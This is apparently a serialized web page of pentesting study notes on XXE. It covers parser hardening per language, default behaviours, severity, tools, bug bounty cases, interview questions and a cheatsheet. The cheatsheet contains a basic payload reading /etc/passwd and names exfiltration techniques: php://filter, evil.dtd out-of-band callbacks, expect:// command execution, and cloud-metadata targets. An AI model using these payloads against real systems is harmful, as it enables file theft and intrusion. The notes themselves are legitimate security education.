DOCX)",[33,18870,18871],{},"Check other Content-Type values",[33,18873,18874],{},"Try UTF-16 encoding (some filters only check for DOCTYPE in ASCII)",[33,18876,18877],{},"Split the payload across multiple entity definitions",[12813,18879],{},[19,18881,18883],{"id":18882},"_12-xxe-defense","12. XXE Defense",[137,18885,18887],{"id":18886},"the-right-approach-disable-dtd-external-entities","The Right Approach — Disable DTD \u002F External Entities",[15,18889,18890],{},[26,18891,18892],{},"Java (DocumentBuilderFactory) — most reliable:",[142,18894,18898],{"className":18895,"code":18896,"language":18897,"meta":87,"style":87},"language-java shiki shiki-themes github-light github-dark","\u002F\u002F Disallow DOCTYPE entirely\nfactory.setFeature(\"http:\u002F\u002Fapache.org\u002Fxml\u002Ffeatures\u002Fdisallow-doctype-decl\", true);\n","java",[37,18899,18900,18905],{"__ignoreMap":87},[313,18901,18902],{"class":315,"line":316},[313,18903,18904],{},"\u002F\u002F Disallow DOCTYPE entirely\n",[313,18906,18907],{"class":315,"line":88},[313,18908,18909],{},"factory.setFeature(\"http:\u002F\u002Fapache.org\u002Fxml\u002Ffeatures\u002Fdisallow-doctype-decl\", true);\n",[15,18911,18912],{},[26,18913,18914],{},"Java (SAXParserFactory):",[142,18916,18917],{"className":18895,"code":18909,"language":18897,"meta":87,"style":87},[37,18918,18919],{"__ignoreMap":87},[313,18920,18921],{"class":315,"line":316},[313,18922,18909],{},[15,18924,18925],{},[26,18926,18927],{},"Python (lxml):",[142,18929,18931],{"className":12380,"code":18930,"language":12382,"meta":87,"style":87},"parser = etree.XMLParser(resolve_entities=False, no_network=True)\n",[37,18932,18933],{"__ignoreMap":87},[313,18934,18935],{"class":315,"line":316},[313,18936,18930],{},[15,18938,18939],{},[26,18940,18941],{},"PHP:",[142,18943,18945],{"className":307,"code":18944,"language":309,"meta":87,"style":87},"libxml_disable_entity_loader(true);  \u002F\u002F PHP \u003C 8.0\n\u002F\u002F In PHP 8.0+ external entities are disabled by default\n",[37,18946,18947,18952],{"__ignoreMap":87},[313,18948,18949],{"class":315,"line":316},[313,18950,18951],{},"libxml_disable_entity_loader(true);  \u002F\u002F PHP \u003C 8.0\n",[313,18953,18954],{"class":315,"line":88},[313,18955,18956],{},"\u002F\u002F In PHP 8.0+ external entities are disabled by default\n",[15,18958,18959],{},[26,18960,18961],{},"C# (.NET):",[142,18963,18967],{"className":18964,"code":18965,"language":18966,"meta":87,"style":87},"language-csharp shiki shiki-themes github-light github-dark","XmlReaderSettings settings = new XmlReaderSettings();\nsettings.DtdProcessing = DtdProcessing.Prohibit;\n","csharp",[37,18968,18969,18974],{"__ignoreMap":87},[313,18970,18971],{"class":315,"line":316},[313,18972,18973],{},"XmlReaderSettings settings = new XmlReaderSettings();\n",[313,18975,18976],{"class":315,"line":88},[313,18977,18978],{},"settings.DtdProcessing = DtdProcessing.Prohibit;\n",[15,18980,18981],{},[26,18982,18983],{},"Ruby (Nokogiri):",[142,18985,18989],{"className":18986,"code":18987,"language":18988,"meta":87,"style":87},"language-ruby shiki shiki-themes github-light github-dark","Nokogiri::XML(xml) { |config| config.nonet }\n","ruby",[37,18990,18991],{"__ignoreMap":87},[313,18992,18993],{"class":315,"line":316},[313,18994,18987],{},[137,18996,18998],{"id":18997},"the-libxml_noent-trap-in-php","The LIBXML_NOENT Trap in PHP",[142,19000,19002],{"className":307,"code":19001,"language":309,"meta":87,"style":87},"\u002F\u002F VULNERABLE — ENABLES entity substitution:\n$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);\n\n\u002F\u002F SAFE — without the flag:\n$doc = simplexml_load_string($xml);\n",[37,19003,19004,19009,19014,19018,19023],{"__ignoreMap":87},[313,19005,19006],{"class":315,"line":316},[313,19007,19008],{},"\u002F\u002F VULNERABLE — ENABLES entity substitution:\n",[313,19010,19011],{"class":315,"line":88},[313,19012,19013],{},"$doc = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);\n",[313,19015,19016],{"class":315,"line":253},[313,19017,777],{"emptyLinePlaceholder":96},[313,19019,19020],{"class":315,"line":780},[313,19021,19022],{},"\u002F\u002F SAFE — without the flag:\n",[313,19024,19025],{"class":315,"line":792},[313,19026,19027],{},"$doc = simplexml_load_string($xml);\n",[15,19029,19030,19033,19034,19037],{},[37,19031,19032],{},"LIBXML_NOENT"," = \"substitute entity values into text\" → the parser ",[26,19035,19036],{},"resolves"," external entities → XXE.",[15,19039,19040,19041,19044],{},"The name is misleading: \"NO ENT\" looks like \"no entities\", but it actually means \"no entities ",[26,19042,19043],{},"in the output","\" (replace them with their values).",[137,19046,19048],{"id":19047},"parser-defaults-by-language-and-version","Parser Defaults by Language and Version",[13075,19050,19051,19067],{},[13078,19052,19053],{},[13081,19054,19055,19058,19061,19064],{},[13084,19056,19057],{},"Language \u002F Library",[13084,19059,19060],{},"Safe by default?",[13084,19062,19063],{},"Since version",[13084,19065,19066],{},"Note",[13091,19068,19069,19086,19100,19120,19141,19160,19175,19190,19206,19224],{},[13081,19070,19071,19077,19080,19083],{},[13096,19072,19073,19074],{},"Java ",[37,19075,19076],{},"DocumentBuilderFactory",[13096,19078,19079],{},"No",[13096,19081,19082],{},"—",[13096,19084,19085],{},"Requires explicit configuration even in Java 17+",[13081,19087,19088,19093,19095,19097],{},[13096,19089,19073,19090],{},[37,19091,19092],{},"SAXParserFactory",[13096,19094,19079],{},[13096,19096,19082],{},[13096,19098,19099],{},"Same",[13081,19101,19102,19108,19111,19114],{},[13096,19103,19104,19105],{},"PHP ",[37,19106,19107],{},"simplexml_load_string",[13096,19109,19110],{},"Yes",[13096,19112,19113],{},"PHP 8.0+",[13096,19115,19116,19117],{},"PHP \u003C8 needs ",[37,19118,19119],{},"libxml_disable_entity_loader(true)",[13081,19121,19122,19127,19132,19134],{},[13096,19123,19124,19125],{},"PHP + ",[37,19126,19032],{},[13096,19128,19129],{},[26,19130,19131],{},"NO!",[13096,19133,19082],{},[13096,19135,19136,19137,19140],{},"The flag ",[26,19138,19139],{},"enables"," entity substitution (trap)",[13081,19142,19143,19149,19151,19154],{},[13096,19144,19145,19146],{},"Python ",[37,19147,19148],{},"lxml",[13096,19150,19110],{},[13096,19152,19153],{},"4.6+",[13096,19155,19156,19159],{},[37,19157,19158],{},"resolve_entities=False, no_network=True"," by default",[13081,19161,19162,19167,19169,19172],{},[13096,19163,19145,19164],{},[37,19165,19166],{},"defusedxml",[13096,19168,19110],{},[13096,19170,19171],{},"always",[13096,19173,19174],{},"Purpose-built for safe parsing",[13081,19176,19177,19182,19185,19187],{},[13096,19178,19145,19179],{},[37,19180,19181],{},"xml.etree.ElementTree",[13096,19183,19184],{},"Partially",[13096,19186,19082],{},[13096,19188,19189],{},"Doesn't support external entities, but vulnerable to Billion Laughs",[13081,19191,19192,19198,19200,19203],{},[13096,19193,19194,19195],{},".NET ",[37,19196,19197],{},"XmlReader",[13096,19199,19110],{},[13096,19201,19202],{},".NET Core",[13096,19204,19205],{},"In .NET Framework depends on version",[13081,19207,19208,19214,19216,19219],{},[13096,19209,19210,19211],{},"Ruby ",[37,19212,19213],{},"Nokogiri",[13096,19215,19110],{},[13096,19217,19218],{},"1.13+",[13096,19220,19221,19159],{},[37,19222,19223],{},"NONET",[13081,19225,19226,19229,19231,19234],{},[13096,19227,19228],{},"libxml2",[13096,19230,19110],{},[13096,19232,19233],{},"2.9+",[13096,19235,15400,19236,19238],{},[37,19237,19032],{}," breaks the protection",[137,19240,19241],{"id":16494},"General Principles",[335,19243,19244,19250,19256,19262,19268,19274,19279,19285],{},[33,19245,19246,19249],{},[26,19247,19248],{},"Disable DTD entirely"," — don't try to filter individual entities",[33,19251,19252,19255],{},[26,19253,19254],{},"Don't trust defaults"," — in many languages external entities are enabled by default",[33,19257,19258,19261],{},[26,19259,19260],{},"Validate Content-Type"," — don't accept XML if you're not expecting it",[33,19263,19264,19267],{},[26,19265,19266],{},"Parse files safely"," — SVG, DOCX, XLSX should be parsed with entities disabled",[33,19269,19270,19273],{},[26,19271,19272],{},"Don't filter input data"," — filters get bypassed (UTF-16, parametric entities)",[33,19275,19276],{},[26,19277,19278],{},"Don't use XML where JSON would work",[33,19280,19281,19284],{},[26,19282,19283],{},"Check parsers for all formats"," that can contain XML: SVG, DOCX, XLSX, SAML",[33,19286,19287,19290],{},[26,19288,19289],{},"Track specific versions"," of libraries and their defaults — don't rely on \"probably safe\"",[12813,19292],{},[19,19294,19296],{"id":19295},"_13-severity-assessment","13. Severity Assessment",[13075,19298,19299,19307],{},[13078,19300,19301],{},[13081,19302,19303,19305],{},[13084,19304,14442],{},[13084,19306,14445],{},[13091,19308,19309,19318,19330,19339],{},[13081,19310,19311,19315],{},[13096,19312,19313],{},[26,19314,14454],{},[13096,19316,19317],{},"Reading arbitrary files with secrets, cloud credentials via SSRF, RCE via chain",[13081,19319,19320,19324],{},[13096,19321,19322],{},[26,19323,14464],{},[13096,19325,19326,19327,19329],{},"Reading system files (",[37,19328,1501],{},", configs), SSRF to internal network",[13081,19331,19332,19336],{},[13096,19333,19334],{},[26,19335,14474],{},[13096,19337,19338],{},"Blind XXE with limited exfiltration, SSRF only to specific hosts",[13081,19340,19341,19345],{},[13096,19342,19343],{},[26,19344,14484],{},[13096,19346,19347],{},"DoS only (Billion Laughs), DTD is processed but external entities are blocked",[12813,19349],{},[19,19351,19353],{"id":19352},"_14-tools","14. Tools",[13075,19355,19356,19364],{},[13078,19357,19358],{},[13081,19359,19360,19362],{},[13084,19361,14502],{},[13084,19363,14505],{},[13091,19365,19366,19375,19384,19394,19404,19414],{},[13081,19367,19368,19372],{},[13096,19369,19370],{},[26,19371,16681],{},[13096,19373,19374],{},"Intercepting requests, swapping Content-Type, testing payloads",[13081,19376,19377,19381],{},[13096,19378,19379],{},[26,19380,16691],{},[13096,19382,19383],{},"Confirming blind XXE (OOB callback)",[13081,19385,19386,19391],{},[13096,19387,19388],{},[26,19389,19390],{},"XXEinjector",[13096,19392,19393],{},"Automating XXE exploitation (OOB, error-based)",[13081,19395,19396,19401],{},[13096,19397,19398],{},[26,19399,19400],{},"oxml_xxe",[13096,19402,19403],{},"Generating DOCX\u002FXLSX\u002FPPTX with XXE payloads",[13081,19405,19406,19411],{},[13096,19407,19408],{},[26,19409,19410],{},"docem",[13096,19412,19413],{},"Embedding XXE into DOCX\u002FXLSX\u002FODT",[13081,19415,19416,19420],{},[13096,19417,19418],{},[26,19419,17785],{},[13096,19421,19422],{},"Quick server for receiving OOB and serving evil.dtd",[12813,19424],{},[19,19426,19428],{"id":19427},"_15-notable-cases","15. Notable Cases",[15,19430,19431,19434,19435,19437],{},[26,19432,19433],{},"Facebook (2014, Bug Bounty):","\nBlind XXE via DOCX upload on the careers portal → reading ",[37,19436,1501],{},". Bounty $30,000+.",[15,19439,19440,19442],{},[26,19441,16825],{},"\nXXE in the SAML parser → reading arbitrary files from the server.",[15,19444,19445,19448],{},[26,19446,19447],{},"Google (2014, Bug Bounty):","\nXXE via XLSX upload in the Google Toolbar button gallery.",[15,19450,19451,19453],{},[26,19452,16845],{},"\nXXE via SVG in avatar uploads — a common pattern in real-world applications.",[12813,19455],{},[19,19457,19459],{"id":19458},"_16-qa-prep-questions","16. Q&A — Prep Questions",[137,19461,19463],{"id":19462},"_1-what-is-xxe-1","1. What is XXE?",[15,19465,19466,19467,19469],{},"A vulnerability in XML parsers where the parser resolves external entities defined in the DTD. The attacker specifies a URI via ",[37,19468,17178],{}," — the parser automatically fetches the file or URL contents and substitutes them into the document. This isn't a bug in application code — it's the design of the XML specification from 1998, which most parsers support by default.",[137,19471,19473],{"id":19472},"_2-whats-the-key-prerequisite-for-xxe","2. What's the key prerequisite for XXE?",[15,19475,19476,19477,19479],{},"The parser must process DTD (Document Type Definition) and support external entities. No DTD means no entity declarations means no XXE. If ",[37,19478,11612],{}," is prohibited at the parser level — the attack is impossible (except for XInclude, which works without DTD).",[137,19481,19483],{"id":19482},"_3-whats-the-typical-impact-of-xxe","3. What's the typical impact of XXE?",[15,19485,19486,19487,19490,19491,19494,19495,19497],{},"Reading arbitrary files (",[37,19488,19489],{},"file:\u002F\u002F\u002Fetc\u002Fpasswd",", configs, SSH keys, ",[37,19492,19493],{},".env","), SSRF to internal services and cloud metadata (IAM keys), DoS via Billion Laughs. In rare cases — RCE via ",[37,19496,17192],{}," (PHP) or a deserialization chain. Blind XXE adds OOB exfiltration and error-based data leaks.",[137,19499,19501],{"id":19500},"_4-how-does-xxe-differ-from-regular-xml-injection","4. How does XXE differ from regular XML injection?",[15,19503,19504],{},"XML injection is about manipulating the structure of an XML document (inserting tags, changing values). XXE exploits the parser's own capabilities through DTD and entities. XXE doesn't change XML logic — it makes the parser load external resources. These are different levels of attack: injection works with data, XXE works with the parsing mechanism.",[137,19506,19508],{"id":19507},"_5-what-is-blind-xxe","5. What is blind XXE?",[15,19510,19511],{},"A situation where the parser resolves external entities, but the result isn't displayed in the response. Exploitation goes through three channels: OOB (out-of-band) — sending data via HTTP\u002FDNS request to the attacker's server using parameter entities and an external DTD; error-based — triggering an error whose text contains the data; redefining an entity from a local system DTD when outbound connections are blocked.",[137,19513,19515],{"id":19514},"_6-how-does-xxe-turn-into-ssrf","6. How does XXE turn into SSRF?",[15,19517,19518,19519,1715,19521,19523,19524,19526],{},"Replace ",[37,19520,13153],{},[37,19522,14074],{}," in the SYSTEM URI. The parser makes an HTTP request to the specified address — including internal addresses (169.254.169.254 for cloud metadata, localhost:PORT for internal services). XXE is one of the simplest vectors for ",[125,19525,17956],{"href":14811},", because the parser makes the request automatically.",[137,19528,19530],{"id":19529},"_7-why-is-we-blocked-doctype-not-always-the-end-of-the-story","7. Why is \"we blocked DOCTYPE\" not always the end of the story?",[15,19532,19533,19534,19536],{},"XInclude doesn't require DOCTYPE — it works through an XML namespace and can be injected even when the attacker only controls part of the XML document. XSLT transformations use ",[37,19535,18449],{}," to load external resources — a separate vector, unrelated to DTD. SVG, DOCX, XLSX are XML formats that may be processed by other parsers with different settings.",[137,19538,19540],{"id":19539},"_8-why-is-it-dangerous-to-rely-on-our-parser-is-safe-by-default","8. Why is it dangerous to rely on \"our parser is safe by default\"?",[15,19542,19073,19543,19545,19546,19548,19549,19551,19552,19554],{},[37,19544,19076],{}," is vulnerable by default even in Java 17+. PHP with the ",[37,19547,19032],{}," flag ",[26,19550,19139],{}," entity substitution (the name is misleading). Python ",[37,19553,19181],{}," doesn't support external entities but is vulnerable to Billion Laughs. Every parser requires checking the specific version and configuration — there's no universal \"safe by default\".",[137,19556,19558],{"id":19557},"_9-what-is-billion-laughs-and-why-is-it-discussed-alongside-xxe","9. What is Billion Laughs and why is it discussed alongside XXE?",[15,19560,19561],{},"An attack based on nested entities where each level references the previous one 10 times — exponential expansion. 9 levels of nesting = 10^9 copies of the string \"lol\" — gigabytes in parser memory. Doesn't leak data, but confirms DTD processing (if Billion Laughs works — the parser processes entities, you can try XXE). Some parsers are protected against external entities but vulnerable to Billion Laughs.",[137,19563,19565],{"id":19564},"_10-what-does-proper-xxe-defense-look-like","10. What does proper XXE defense look like?",[15,19567,19568,19569,19572,19573,19576],{},"Disable DTD entirely at the parser level (",[37,19570,19571],{},"disallow-doctype-decl"," in Java, ",[37,19574,19575],{},"DtdProcessing.Prohibit"," in .NET). Don't filter input data — filters get bypassed (UTF-16, parametric entities). Don't use XML where JSON would work. Check parsers for all formats that can contain XML: SVG, DOCX, XLSX, SAML. Track specific library versions and their defaults — don't rely on \"probably safe\".",[12813,19578],{},[19,19580,19582],{"id":19581},"_17-quick-reference-cheatsheet","17. Quick Reference Cheatsheet",[142,19584,19587],{"className":19585,"code":19586,"language":147},[145],"XXE = parser resolves external entities from DTD\n\nEntities:\n  internal\u002Fexternal — where the value comes from\n  general (&name;) \u002F parameter (%name;) — where it's used\n  Parameter entities → for blind XXE (work inside DTD)\n  Parameter entities in internal DTD subset are restricted →\n    need external DTD (or the local DTD trick)\n\nWhere: XML API, SOAP, SVG, DOCX\u002FXLSX, Content-Type swap JSON→XML,\n       SAML, GPX, XHTML, PDF generation from XSLT\n\nTypes:\n  Classic     → response visible, SYSTEM \"file:\u002F\u002F\u002F...\"\n  Blind OOB   → parameter entities + evil.dtd → HTTP callback\n  Error-based → data in the error message (when OOB is blocked)\n  Local DTD   → entity redefinition from system DTD (no outbound)\n  XInclude    → no control over DOCTYPE\n  XSLT        → document() for file read and HTTP (no DTD)\n\nPayload (basic):\n  \u003C!DOCTYPE foo [\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">]>\n  \u003Cfoo>&xxe;\u003C\u002Ffoo>\n\nBad characters (\u003C &):\n  PHP → php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=...\n  General → CDATA wrapper via parameter entities\n  Java → jar:\u002F\u002F to bypass restrictions\n\nChains:\n  XXE→SSRF, XXE→LFI, XXE→RCE (expect:\u002F\u002F),\n  Blind XXE+DNS, SSRF→XXE\n\nTargets: \u002Fetc\u002Fpasswd, .env, SSH keys, cloud metadata, internal APIs\n\nDefense:\n  Disable DTD entirely (disallow-doctype-decl)\n  LIBXML_NOENT → ENABLES substitution (trap!)\n  Java is vulnerable by default even in 17+\n  Python xml.etree — no external entities, but has Billion Laughs\n  Don't filter — disable. Not XML — JSON.\n\nSeverity: files with secrets \u002F cloud keys = critical,\n          \u002Fetc\u002Fpasswd = high, blind = medium, DoS = low\n",[37,19588,19586],{"__ignoreMap":87},[361,19590,363],{},{"title":87,"searchDepth":88,"depth":88,"links":19592},[19593,19594,19600,19605,19611,19615,19619,19625,19630,19635,19639,19646,19652,19653,19654,19655,19667],{"id":17154,"depth":88,"text":17155},{"id":17197,"depth":88,"text":17198,"children":19595},[19596,19597,19598,19599],{"id":17201,"depth":253,"text":17202},{"id":17212,"depth":253,"text":17213},{"id":17379,"depth":253,"text":17380},{"id":17415,"depth":253,"text":17416},{"id":17515,"depth":88,"text":17516,"children":19601},[19602,19603,19604],{"id":12821,"depth":253,"text":12822},{"id":12852,"depth":253,"text":12853},{"id":17594,"depth":253,"text":17595},{"id":17626,"depth":88,"text":17627,"children":19606},[19607,19608,19609,19610],{"id":17630,"depth":253,"text":17631},{"id":17674,"depth":253,"text":17675},{"id":17949,"depth":253,"text":17950},{"id":18006,"depth":253,"text":18007},{"id":18080,"depth":88,"text":18081,"children":19612},[19613,19614],{"id":18084,"depth":253,"text":18085},{"id":8776,"depth":253,"text":8777},{"id":18143,"depth":88,"text":18144,"children":19616},[19617,19618],{"id":18147,"depth":253,"text":18148},{"id":18192,"depth":253,"text":18193},{"id":18249,"depth":88,"text":18250,"children":19620},[19621,19622,19623,19624],{"id":18253,"depth":253,"text":18254},{"id":18278,"depth":253,"text":18279},{"id":18294,"depth":253,"text":18295},{"id":18370,"depth":253,"text":18371},{"id":18385,"depth":88,"text":18386,"children":19626},[19627,19628,19629],{"id":18389,"depth":253,"text":18390},{"id":18415,"depth":253,"text":18416},{"id":18425,"depth":253,"text":18426},{"id":18442,"depth":88,"text":18443,"children":19631},[19632,19633,19634],{"id":18453,"depth":253,"text":18454},{"id":18487,"depth":253,"text":18488},{"id":18517,"depth":253,"text":18518},{"id":18536,"depth":88,"text":18537,"children":19636},[19637,19638],{"id":18625,"depth":253,"text":18626},{"id":18671,"depth":253,"text":18672},{"id":18705,"depth":88,"text":18706,"children":19640},[19641,19642,19643,19644,19645],{"id":18709,"depth":253,"text":18710},{"id":18730,"depth":253,"text":18731},{"id":14200,"depth":253,"text":14201},{"id":16363,"depth":253,"text":16364},{"id":16379,"depth":253,"text":18842},{"id":18882,"depth":88,"text":18883,"children":19647},[19648,19649,19650,19651],{"id":18886,"depth":253,"text":18887},{"id":18997,"depth":253,"text":18998},{"id":19047,"depth":253,"text":19048},{"id":16494,"depth":253,"text":19241},{"id":19295,"depth":88,"text":19296},{"id":19352,"depth":88,"text":19353},{"id":19427,"depth":88,"text":19428},{"id":19458,"depth":88,"text":19459,"children":19656},[19657,19658,19659,19660,19661,19662,19663,19664,19665,19666],{"id":19462,"depth":253,"text":19463},{"id":19472,"depth":253,"text":19473},{"id":19482,"depth":253,"text":19483},{"id":19500,"depth":253,"text":19501},{"id":19507,"depth":253,"text":19508},{"id":19514,"depth":253,"text":19515},{"id":19529,"depth":253,"text":19530},{"id":19539,"depth":253,"text":19540},{"id":19557,"depth":253,"text":19558},{"id":19564,"depth":253,"text":19565},{"id":19581,"depth":88,"text":19582},"Complete XXE breakdown — XML entities, DTD, all attack vectors, blind\u002Ferror-based, bad character bypasses, defense by language. Theory, methodology, cheatsheet.",{},{"title":17146,"description":19668},{"loc":12988},"notes\u002Fpentesting\u002Fxxe",[2023,1950,19674,19675,12187,269],"dtd","blind-xxe","6AjesAy-azzMTMySF0svlLlRqa11tQHbq68i02bNOU4",[19678,19905],{"id":709,"title":710,"author":6,"body":19679,"date":1023,"description":1024,"difficulty":93,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":19901,"navigation":96,"notes":93,"path":1026,"psTitle":93,"seo":19902,"sitemap":19903,"stem":1029,"tags":19904,"timeSpent":93,"type":106,"__hash__":1033},{"type":8,"value":19680,"toc":19899},[19681,19683,19689,19695,19897],[11,19682,710],{"id":715},[15,19684,718,19685,722,19687,524],{},[37,19686,721],{},[37,19688,725],{},[15,19690,728,19691,732,19693,736],{},[37,19692,731],{},[37,19694,735],{},[142,19696,19697],{"className":739,"code":740,"language":741,"meta":87,"style":87},[37,19698,19699,19707,19717,19721,19729,19735,19747,19755,19761,19765,19769,19785,19795,19799,19803,19809,19817,19821,19825,19829,19833,19841,19845,19853,19865,19877,19889],{"__ignoreMap":87},[313,19700,19701,19703,19705],{"class":315,"line":316},[313,19702,749],{"class":748},[313,19704,753],{"class":752},[313,19706,756],{"class":748},[313,19708,19709,19711,19713,19715],{"class":315,"line":88},[313,19710,762],{"class":761},[313,19712,765],{"class":748},[313,19714,768],{"class":761},[313,19716,772],{"class":771},[313,19718,19719],{"class":315,"line":253},[313,19720,777],{"emptyLinePlaceholder":96},[313,19722,19723,19725,19727],{"class":315,"line":780},[313,19724,783],{"class":761},[313,19726,786],{"class":761},[313,19728,789],{"class":748},[313,19730,19731,19733],{"class":315,"line":792},[313,19732,796],{"class":795},[313,19734,799],{"class":748},[313,19736,19737,19739,19741,19743,19745],{"class":315,"line":802},[313,19738,805],{"class":761},[313,19740,809],{"class":808},[313,19742,812],{"class":761},[313,19744,815],{"class":795},[313,19746,818],{"class":748},[313,19748,19749,19751,19753],{"class":315,"line":821},[313,19750,824],{"class":748},[313,19752,827],{"class":808},[313,19754,830],{"class":748},[313,19756,19757,19759],{"class":315,"line":833},[313,19758,836],{"class":748},[313,19760,839],{"class":808},[313,19762,19763],{"class":315,"line":842},[313,19764,845],{"class":748},[313,19766,19767],{"class":315,"line":848},[313,19768,777],{"emptyLinePlaceholder":96},[313,19770,19771,19773,19775,19777,19779,19781,19783],{"class":315,"line":853},[313,19772,805],{"class":761},[313,19774,858],{"class":808},[313,19776,812],{"class":761},[313,19778,863],{"class":795},[313,19780,866],{"class":748},[313,19782,869],{"class":761},[313,19784,789],{"class":748},[313,19786,19787,19789,19791,19793],{"class":315,"line":874},[313,19788,877],{"class":761},[313,19790,880],{"class":748},[313,19792,883],{"class":761},[313,19794,886],{"class":748},[313,19796,19797],{"class":315,"line":889},[313,19798,845],{"class":748},[313,19800,19801],{"class":315,"line":894},[313,19802,777],{"emptyLinePlaceholder":96},[313,19804,19805,19807],{"class":315,"line":899},[313,19806,902],{"class":761},[313,19808,789],{"class":748},[313,19810,19811,19813,19815],{"class":315,"line":907},[313,19812,910],{"class":761},[313,19814,913],{"class":795},[313,19816,916],{"class":748},[313,19818,19819],{"class":315,"line":919},[313,19820,922],{"class":748},[313,19822,19823],{"class":315,"line":925},[313,19824,928],{"class":748},[313,19826,19827],{"class":315,"line":931},[313,19828,934],{"class":748},[313,19830,19831],{"class":315,"line":937},[313,19832,940],{"class":748},[313,19834,19835,19837,19839],{"class":315,"line":943},[313,19836,946],{"class":748},[313,19838,753],{"class":752},[313,19840,756],{"class":748},[313,19842,19843],{"class":315,"line":953},[313,19844,777],{"emptyLinePlaceholder":96},[313,19846,19847,19849,19851],{"class":315,"line":958},[313,19848,749],{"class":748},[313,19850,963],{"class":752},[313,19852,756],{"class":748},[313,19854,19855,19857,19859,19861,19863],{"class":315,"line":968},[313,19856,971],{"class":748},[313,19858,15],{"class":752},[313,19860,976],{"class":748},[313,19862,15],{"class":752},[313,19864,756],{"class":748},[313,19866,19867,19869,19871,19873,19875],{"class":315,"line":983},[313,19868,971],{"class":748},[313,19870,15],{"class":752},[313,19872,990],{"class":748},[313,19874,15],{"class":752},[313,19876,756],{"class":748},[313,19878,19879,19881,19883,19885,19887],{"class":315,"line":997},[313,19880,971],{"class":748},[313,19882,15],{"class":752},[313,19884,1004],{"class":748},[313,19886,15],{"class":752},[313,19888,756],{"class":748},[313,19890,19891,19893,19895],{"class":315,"line":1011},[313,19892,946],{"class":748},[313,19894,963],{"class":752},[313,19896,756],{"class":748},[361,19898,1020],{},{"title":87,"searchDepth":88,"depth":88,"links":19900},[],{},{"title":710,"description":1024},{"loc":1026},[741,1031,1032],{"id":1035,"title":1036,"author":6,"body":19906,"date":1074,"description":1075,"difficulty":93,"extension":94,"image":93,"inProgress":93,"logged":93,"marathonStartDate":93,"meta":19933,"navigation":96,"notes":93,"path":1077,"psTitle":93,"seo":19934,"sitemap":19935,"stem":1080,"tags":19936,"timeSpent":93,"type":106,"__hash__":1084},{"type":8,"value":19907,"toc":19931},[19908,19910,19922,19924,19929],[11,19909,1036],{"id":1041},[142,19911,19912],{"className":1044,"code":1045,"language":1046,"meta":87,"style":87},[37,19913,19914],{"__ignoreMap":87},[313,19915,19916,19918,19920],{"class":315,"line":316},[313,19917,1053],{"class":795},[313,19919,1056],{"class":771},[313,19921,1059],{"class":771},[15,19923,1062],{},[142,19925,19927],{"className":19926,"code":1066,"language":147},[145],[37,19928,1066],{"__ignoreMap":87},[361,19930,1071],{},{"title":87,"searchDepth":88,"depth":88,"links":19932},[],{},{"title":1036,"description":1075},{"loc":1077},[1082,741,1083],1780584297922]